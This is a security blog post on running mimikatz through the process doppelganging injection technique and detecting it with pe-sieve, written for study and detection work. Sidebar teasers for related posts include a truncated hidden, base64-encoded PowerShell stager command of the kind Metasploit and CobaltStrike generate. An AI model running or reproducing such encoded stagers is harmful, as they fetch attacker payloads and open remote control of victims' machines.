Skip to main content

Mimikatz Process Doppleganging

This post is just about running a tool created by hasherezade to perform process doppleganging.
All credit goes to the researchers Tal Liberman  and Eugene Kogan from enSilo and also hasherezade

I just wanted to simulate the same process doppleganging and detect with pe-sieve, it is recommended to walk through author's blackhat presentation Lost in transaction - Process Doppelgänging and tool creator's write up Process Doppelgänging – a new way to impersonate a process

Process doppelganing is a code injection technique ( can be a substitute to traditional process hollowing code injection technique) that leverages NTFS transacations related Windows API calls which are less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is more likely to go undetected.

The Doppelgänging objective is to load and execute aribitrary code in the context of a legitimate process, none of the process hollowing API calls like NtUnmapViewOfSection, VirtualProtectEx and SetThreatContext  can be identified 

Download and compile code from hasherezade git repo

Process Doppleganging - running mimikatz 



Detecting Process Doppleganging using PE-sieve




Labels:

Comments

  1. Check8 November 2019 at 02:32

    Easy guide, thank you! Videos are also very useful.

    ReplyDelete
  2. SERP House24 December 2019 at 01:56

    Wonderful article, Which you have shared, your article is very important and I was really interested to read it. If anyone looking for Google Search Api then visit SERP House, It’s the best choice.

    ReplyDelete
  3. Nachos Accessories4 May 2023 at 06:03

    Hi great readingg your post

    ReplyDelete

Post a Comment

Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a...
66 comments
Read more

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZ...
2 comments
Read more

CVE-2021-38647 OMIGod Exploitation Log Analysis using Kusto Query Language

INTRODUCTION This post walks you through the log analysis of OMIGod vulnerability exploitation artefacts using kusto query language (KQL). The raw json logs from exploited linux device are fetched into Azure KQL data explorer using externaldata() function and analysed in KQL instance. I have been learning Kusto Query Language as part of my routine and KQL experts can write better queries to fine tune json data than what I have mentioned here  The Linux device with vulnerable OMI version is configured with Linux Audit Daemon with the best practice configuration  This blog explains about setting up your own private pwn lab for OMI exploitation  This great Linux Logging with AuditD video by  IppSec   explains how to set up linux logging with Auditd. Below are all the comments by IppSec from the video (no comments from me and full credit goest to IppSec) Installing Auditd Downloading a good baseline ruleset from github  Going over the baseline file to un...
Post a Comment
Read more